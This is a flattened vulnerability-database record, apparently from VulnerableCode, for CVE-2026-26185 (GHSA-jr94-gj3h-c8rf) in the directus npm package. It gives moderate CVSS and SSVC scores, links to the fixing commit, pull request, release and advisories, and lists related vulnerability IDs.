scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/e69aa7a5248c6e3e822cb1ac354dee295df90b2a
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-13T15:58:57Z/
url https://github.com/directus/directus/commit/e69aa7a5248c6e3e822cb1ac354dee295df90b2a
3
reference_url https://github.com/directus/directus/pull/26485
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-13T15:58:57Z/
url https://github.com/directus/directus/pull/26485
4
reference_url https://github.com/directus/directus/releases/tag/v11.14.1
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-13T15:58:57Z/
url https://github.com/directus/directus/releases/tag/v11.14.1
5
reference_url https://github.com/directus/directus/security/advisories/GHSA-jr94-gj3h-c8rf
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-13T15:58:57Z/
url https://github.com/directus/directus/security/advisories/GHSA-jr94-gj3h-c8rf
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-26185
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-26185
7
reference_url https://github.com/advisories/GHSA-jr94-gj3h-c8rf
reference_id GHSA-jr94-gj3h-c8rf
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-jr94-gj3h-c8rf
fixed_packages
0
url pkg:npm/directus@11.14.1
purl pkg:npm/directus@11.14.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-6ggp-xn4c-gya3
2
vulnerability VCID-6mr6-u3vk-sygm
3
vulnerability VCID-bwww-3wep-2ydf
4
vulnerability VCID-exwx-sqry-c3gc
5
vulnerability VCID-hv63-3zhy-dyae
6
vulnerability VCID-n9br-39bb-7ugt
7
vulnerability VCID-rq5y-ee4h-gkff
8
vulnerability VCID-trbn-m8sj-ffa4
9
vulnerability VCID-wcaq-4zzz-qfb7
10
vulnerability VCID-ycj2-8tqq-jyag
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.14.1
aliases CVE-2026-26185, GHSA-jr94-gj3h-c8rf
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-zjtb-sh5z-h3gg
Fixing_vulnerabilities
Risk_scorenull
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/directus@9.0.0-rc.6